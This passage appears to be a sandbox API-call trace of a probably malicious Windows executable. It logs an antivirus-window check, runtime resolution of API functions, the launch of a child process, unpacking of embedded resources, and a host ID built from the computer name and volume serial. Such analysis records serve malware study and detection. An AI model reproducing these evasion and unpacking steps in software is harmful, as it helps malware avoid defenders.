nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x20078, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x2005c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x4007c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x3006a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x30070, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x20062, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x30052, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x20214, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x60034, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x70032, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x60068, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x20172, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x2015e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x201f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x200f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x200ee, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x2008e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x20174, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.545] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.546] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.546] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.546] GetClassNameA (in: hWnd=0x10128, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.546] GetClassNameA (in: hWnd=0x10120, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MSCTFIME UI") returned 11 [0234.546] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.546] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.546] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.546] lstrlenA (lpString="snxhk_border_mywnd") returned 18 [0234.546] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0234.546] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ffb40 [0234.546] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ffa80 [0234.546] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0234.546] lstrlenA (lpString="kernel32.dll") returned 12 [0234.546] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb40 | out: hHeap=0x2180000) returned 1 [0234.546] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0234.546] lstrlenA (lpString="GetProcAddress") returned 14 [0234.547] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffa80 | out: hHeap=0x2180000) returned 1 [0234.547] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xb) returned 0x21ffb40 [0234.547] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0234.547] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ffaf8 [0234.547] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0234.547] lstrlenA (lpString="MessageBoxA") returned 11 [0234.547] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffaf8 | out: hHeap=0x2180000) returned 1 [0234.547] lstrlenA (lpString="user32.dll") returned 10 [0234.547] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb40 | out: hHeap=0x2180000) returned 1 [0234.547] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ffb10 [0234.547] GetProcAddress (hModule=0x76850000, lpProcName="FindWindowA") returned 0x76867a80 [0234.547] lstrlenA (lpString="FindWindowA") returned 11 [0234.547] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb10 | out: hHeap=0x2180000) returned 1 [0234.547] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ffb28 [0234.547] GetProcAddress (hModule=0x76850000, lpProcName="SendMessageA") returned 0x76860630 [0234.547] lstrlenA (lpString="SendMessageA") returned 12 [0234.547] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb28 | out: hHeap=0x2180000) returned 1 [0234.547] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ffa20 [0234.548] GetProcAddress (hModule=0x76850000, lpProcName="PostMessageA") returned 0x7686b8d0 [0234.548] lstrlenA (lpString="PostMessageA") returned 12 [0234.548] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffa20 | out: hHeap=0x2180000) returned 1 [0234.548] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x14) returned 0x21ff700 [0234.548] GetProcAddress (hModule=0x76850000, lpProcName="GetForegroundWindow") returned 0x76883420 [0234.548] lstrlenA (lpString="GetForegroundWindow") returned 19 [0234.548] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0234.548] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff700 [0234.548] GetProcAddress (hModule=0x76850000, lpProcName="RegisterClassExA") returned 0x76868260 [0234.548] lstrlenA (lpString="RegisterClassExA") returned 16 [0234.548] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0234.548] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x10) returned 0x21ffb70 [0234.548] GetProcAddress (hModule=0x76850000, lpProcName="CreateWindowExA") returned 0x76871470 [0234.548] lstrlenA (lpString="CreateWindowExA") returned 15 [0234.548] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb70 | out: hHeap=0x2180000) returned 1 [0234.548] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xb) returned 0x21ffac8 [0234.548] GetProcAddress (hModule=0x76850000, lpProcName="ShowWindow") returned 0x76883ee0 [0234.548] lstrlenA (lpString="ShowWindow") returned 10 [0234.548] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffac8 | out: hHeap=0x2180000) returned 1 [0234.548] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ffb10 [0234.549] GetProcAddress (hModule=0x76850000, lpProcName="UpdateWindow") returned 0x76862b80 [0234.549] lstrlenA (lpString="UpdateWindow") returned 12 [0234.549] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb10 | out: hHeap=0x2180000) returned 1 [0234.549] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ffa68 [0234.549] GetProcAddress (hModule=0x76850000, lpProcName="GetMessageA") returned 0x7686bdf0 [0234.549] lstrlenA (lpString="GetMessageA") returned 11 [0234.549] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffa68 | out: hHeap=0x2180000) returned 1 [0234.549] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff700 [0234.549] GetProcAddress (hModule=0x76850000, lpProcName="TranslateMessage") returned 0x7687f900 [0234.549] lstrlenA (lpString="TranslateMessage") returned 16 [0234.549] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0234.549] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff700 [0234.549] GetProcAddress (hModule=0x76850000, lpProcName="DispatchMessageA") returned 0x7686fd80 [0234.549] lstrlenA (lpString="DispatchMessageA") returned 16 [0234.549] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0234.549] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ffb10 [0234.549] GetProcAddress (hModule=0x76850000, lpProcName="DestroyWindow") returned 0x74231c10 [0234.550] lstrlenA (lpString="DestroyWindow") returned 13 [0234.550] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb10 | out: hHeap=0x2180000) returned 1 [0234.550] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff700 [0234.550] GetProcAddress (hModule=0x76850000, lpProcName="UnregisterClassA") returned 0x7687b230 [0234.550] lstrlenA (lpString="UnregisterClassA") returned 16 [0234.550] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0234.550] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ffab0 [0234.550] GetProcAddress (hModule=0x76850000, lpProcName="DefWindowProcA") returned 0x77865680 [0234.550] lstrlenA (lpString="DefWindowProcA") returned 14 [0234.550] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffab0 | out: hHeap=0x2180000) returned 1 [0234.550] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x10) returned 0x21ffa80 [0234.550] GetProcAddress (hModule=0x76850000, lpProcName="PostQuitMessage") returned 0x76872bc0 [0234.550] lstrlenA (lpString="PostQuitMessage") returned 15 [0234.550] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffa80 | out: hHeap=0x2180000) returned 1 [0234.550] lstrlenW (lpString="C:\\BlotRots\\Loterios.exe") returned 24 [0234.550] lstrlenW (lpString=" /C") returned 3 [0234.550] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x38) returned 0x21ff700 [0234.550] lstrcatW (in: lpString1="", lpString2="C:\\BlotRots\\Loterios.exe" | out: lpString1="C:\\BlotRots\\Loterios.exe") returned="C:\\BlotRots\\Loterios.exe" [0234.550] lstrcatW (in: lpString1="C:\\BlotRots\\Loterios.exe", lpString2=" /C" | out: lpString1="C:\\BlotRots\\Loterios.exe /C") returned="C:\\BlotRots\\Loterios.exe /C" [0234.551] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\BlotRots\\Loterios.exe /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fec8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19ff0c | out: lpCommandLine="C:\\BlotRots\\Loterios.exe /C", lpProcessInformation=0x19ff0c*(hProcess=0x2ac, hThread=0x2a8, dwProcessId=0x13e8, dwThreadId=0x1158)) returned 1 [0234.569] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x9c40) returned 0x0 [0248.184] GetExitCodeProcess (in: hProcess=0x2ac, lpExitCode=0x19ff3c | out: lpExitCode=0x19ff3c*=0x0) returned 1 [0248.184] lstrlenW (lpString="C:\\BlotRots\\Loterios.exe /C") returned 27 [0248.184] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.184] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x21) returned 0x21ff700 [0248.184] lstrlenA (lpString="Loterios") returned 8 [0248.184] lstrlenA (lpString="user32.dll") returned 10 [0248.184] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.184] lstrlenA (lpString="user32.dll") returned 10 [0248.184] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] lstrlenA (lpString="user32.dll") returned 10 [0248.185] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] lstrlenA (lpString="user32.dll") returned 10 [0248.185] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] lstrlenA (lpString="user32.dll") returned 10 [0248.185] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] lstrlenA (lpString="user32.dll") returned 10 [0248.185] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] lstrlenA (lpString="user32.dll") returned 10 [0248.185] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] lstrlenA (lpString="user32.dll") returned 10 [0248.185] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] lstrlenA (lpString="user32.dll") returned 10 [0248.185] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] lstrlenA (lpString="user32.dll") returned 10 [0248.185] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] lstrlenA (lpString="user32.dll") returned 10 [0248.185] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] lstrlenA (lpString="user32.dll") returned 10 [0248.185] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] lstrlenA (lpString="user32.dll") returned 10 [0248.185] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.185] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.186] lstrcmpiW (lpString1="Yjyvbtaygfre", lpString2="BlotRots") returned 1 [0248.186] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0248.186] lstrlenA (lpString="user32.dll") returned 10 [0248.186] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x4) returned 0x21fffd0 [0248.186] lstrlenA (lpString="user32.dll") returned 10 [0248.186] FindResourceA (hModule=0x400000, lpName="307", lpType=0xa) returned 0x0 [0248.186] lstrlenA (lpString="user32.dll") returned 10 [0248.186] FindResourceA (hModule=0x400000, lpName="307", lpType=0x3) returned 0x413168 [0248.186] SizeofResource (hModule=0x400000, hResInfo=0x413168) returned 0x1fc54 [0248.186] LoadResource (hModule=0x400000, hResInfo=0x413168) returned 0x415c10 [0248.186] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x448) returned 0x2186b18 [0248.186] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x1fc54) returned 0x2186f68 [0248.188] lstrlenA (lpString="kernel32.dll") returned 12 [0248.190] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x3f858) returned 0x21a6bc8 [0248.193] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe000) returned 0x21e6428 [0248.194] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xfc40) returned 0x26f0048 [0248.199] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x26f0048 | out: hHeap=0x2180000) returned 1 [0248.199] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21e6428 | out: hHeap=0x2180000) returned 1 [0248.200] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x2186f68 | out: hHeap=0x2180000) returned 1 [0248.200] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x28e01) returned 0x26f0048 [0248.203] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21a6bc8 | out: hHeap=0x2180000) returned 1 [0248.203] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x2186b18 | out: hHeap=0x2180000) returned 1 [0248.206] lstrlenA (lpString="307") returned 3 [0248.206] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21fffd0 | out: hHeap=0x2180000) returned 1 [0248.206] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x2e000) returned 0x2186b18 [0248.209] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x4) returned 0x21fffd0 [0248.209] lstrlenA (lpString="user32.dll") returned 10 [0248.209] FindResourceA (hModule=0x2186b18, lpName="308", lpType=0xa) returned 0x21b1b80 [0248.209] SizeofResource (hModule=0x2186b18, hResInfo=0x21b1b80) returned 0x41 [0248.209] LoadResource (hModule=0x2186b18, hResInfo=0x21b1b80) returned 0x21b1bb0 [0248.209] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x42) returned 0x21ff700 [0248.210] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x800) returned 0x2718e58 [0248.210] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x448) returned 0x2719660 [0248.210] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x41) returned 0x21ff750 [0248.210] lstrlenA (lpString="kernel32.dll") returned 12 [0248.210] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x2b4 [0248.210] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0xea60) returned 0x0 [0248.210] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xfa0) returned 0x2719ab0 [0248.210] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xb) returned 0x21ffb58 [0248.210] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ffb70 [0248.210] lstrlenA (lpString="spx155") returned 6 [0248.210] lstrlenA (lpString="spx155") returned 6 [0248.210] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x8) returned 0x21ff7a0 [0248.211] lstrlenA (lpString="1597414518") returned 10 [0248.211] lstrlenA (lpString="1597414518") returned 10 [0248.211] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ffba0 [0248.211] lstrlenA (lpString="10") returned 2 [0248.211] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb58 | out: hHeap=0x2180000) returned 1 [0248.211] lstrlenA (lpString="3") returned 1 [0248.211] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb70 | out: hHeap=0x2180000) returned 1 [0248.211] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff750 | out: hHeap=0x2180000) returned 1 [0248.211] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x2719ab0 | out: hHeap=0x2180000) returned 1 [0248.211] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x2719660 | out: hHeap=0x2180000) returned 1 [0248.211] ReleaseMutex (hMutex=0x2b4) returned 1 [0248.211] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.211] lstrlenA (lpString="308") returned 3 [0248.211] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21fffd0 | out: hHeap=0x2180000) returned 1 [0248.211] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x26f0048 | out: hHeap=0x2180000) returned 1 [0248.211] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x2186b18 | out: hHeap=0x2180000) returned 1 [0248.211] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0xea60) returned 0x0 [0248.211] ReleaseMutex (hMutex=0x2b4) returned 1 [0248.211] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ffa38 [0248.212] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ffa20 [0248.212] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0248.212] lstrlenA (lpString="kernel32.dll") returned 12 [0248.212] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffa38 | out: hHeap=0x2180000) returned 1 [0248.212] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0248.212] lstrlenA (lpString="GetProcAddress") returned 14 [0248.212] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffa20 | out: hHeap=0x2180000) returned 1 [0248.212] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ffb10 [0248.212] LoadLibraryA (lpLibFileName="wtsapi32.dll") returned 0x73fc0000 [0248.415] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x12) returned 0x21ff700 [0248.415] GetProcAddress (hModule=0x73fc0000, lpProcName="WTSQueryUserToken") returned 0x73fc18d0 [0248.415] lstrlenA (lpString="WTSQueryUserToken") returned 17 [0248.416] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.416] lstrlenA (lpString="wtsapi32.dll") returned 12 [0248.416] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb10 | out: hHeap=0x2180000) returned 1 [0248.416] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x16) returned 0x21ff700 [0248.416] GetProcAddress (hModule=0x73fc0000, lpProcName="WTSEnumerateSessionsW") returned 0x73fc2260 [0248.416] lstrlenA (lpString="WTSEnumerateSessionsW") returned 21 [0248.416] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.416] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ffac8 [0248.416] GetProcAddress (hModule=0x73fc0000, lpProcName="WTSFreeMemory") returned 0x73fc2870 [0248.416] lstrlenA (lpString="WTSFreeMemory") returned 13 [0248.416] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffac8 | out: hHeap=0x2180000) returned 1 [0248.416] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x1c) returned 0x21ff700 [0248.416] GetProcAddress (hModule=0x73fc0000, lpProcName="WTSQuerySessionInformationW") returned 0x73fc1a00 [0248.416] lstrlenA (lpString="WTSQuerySessionInformationW") returned 27 [0248.417] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.417] lstrlenA (lpString="12") returned 2 [0248.417] GetComputerNameW (in: lpBuffer=0x19f9d4, nSize=0x19fbec | out: lpBuffer="NQDPDE", nSize=0x19fbec) returned 1 [0248.417] lstrlenA (lpString="4") returned 1 [0248.417] lstrcpynW (in: lpString1=0x19fc00, lpString2="NQDPDE", iMaxLength=256 | out: lpString1="NQDPDE") returned="NQDPDE" [0248.417] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ffb28 [0248.417] GetVolumeInformationW (in: lpRootPathName="c:\\\\", lpVolumeNameBuffer=0x19f5d4, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x19fbe8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x19f7d4, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x19fbe8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0248.417] lstrlenA (lpString="c") returned 1 [0248.417] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb28 | out: hHeap=0x2180000) returned 1 [0248.417] lstrlenW (lpString="NQDPDE") returned 6 [0248.417] lstrlenW (lpString="NQDPDE") returned 6 [0248.417] _vsnwprintf (in: _Buffer=0x19fc0c, _BufferCount=0xfa, _Format="%u", _ArgList=0x19f5c8 | out: _Buffer="3021567792") returned 10 [0248.418] lstrcatW (in: lpString1="NQDPDE3021567792", lpString2="" | out: lpString1="NQDPDE3021567792") returned="NQDPDE3021567792" [0248.418] lstrlenW (lpString="NQDPDE3021567792") returned 16 [0248.419] CharUpperBuffW (in: lpsz="NQDPDE3021567792", cchLength=0x10 | out: lpsz="NQDPDE3021567792") returned 0x10 [0248.419] lstrlenW (lpString="NQDPDE3021567792") returned 16 [0248.419] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x21) returned 0x21ff700 [0248.419] lstrlenA (lpString="user32.dll") returned 10 [0248.419] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.419] lstrlenA (lpString="user32.dll") returned 10 [0248.419] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.419] lstrlenA (lpString="user32.dll") returned 10 [0248.419] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.419] lstrlenA (lpString="user32.dll") returned 10 [0248.419] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.419] lstrlenA (lpString="user32.dll") returned 10 [0248.419] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.419] lstrlenA (lpString="user32.dll") returned 10 [0248.419] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.419] lstrlenA (lpString="user32.dll") returned 10 [0248.419] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.420] lstrlenA (lpString="user32.dll") returned 10 [0248.420] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.420] lstrlenA (lpString="user32.dll") returned 10 [0248.420] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.420] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.420] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pptfigba") returned 0x2b0 [0248.420] GetLastError () returned 0x0 [0248.420] ConvertSidToStringSidW () returned 0x1 [0248.420] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x72) returned 0x21ff700 [0248.420] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") returned 56 [0248.420] lstrlenW (lpString="\\") returned 1 [0248.420] lstrlenW (lpString="S-1-5-21-1051304884-625712362-2192934891-1000") returned 45 [0248.420] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xce) returned 0x21ff7b0 [0248.420] lstrcatW (in: lpString1="", lpString2="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList" [0248.420] lstrcatW (in: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" [0248.420] lstrcatW (in: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\", lpString2="S-1-5-21-1051304884-625712362-2192934891-1000" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\S-1-5-21-1051304884-625712362-2192934891-1000") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\S-1-5-21-1051304884-625712362-2192934891-1000" [0248.420] lstrlenA (lpString="S") returned 1 [0248.420] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.420] RtlAllocateHeap (HeapHandle=0x2180000, 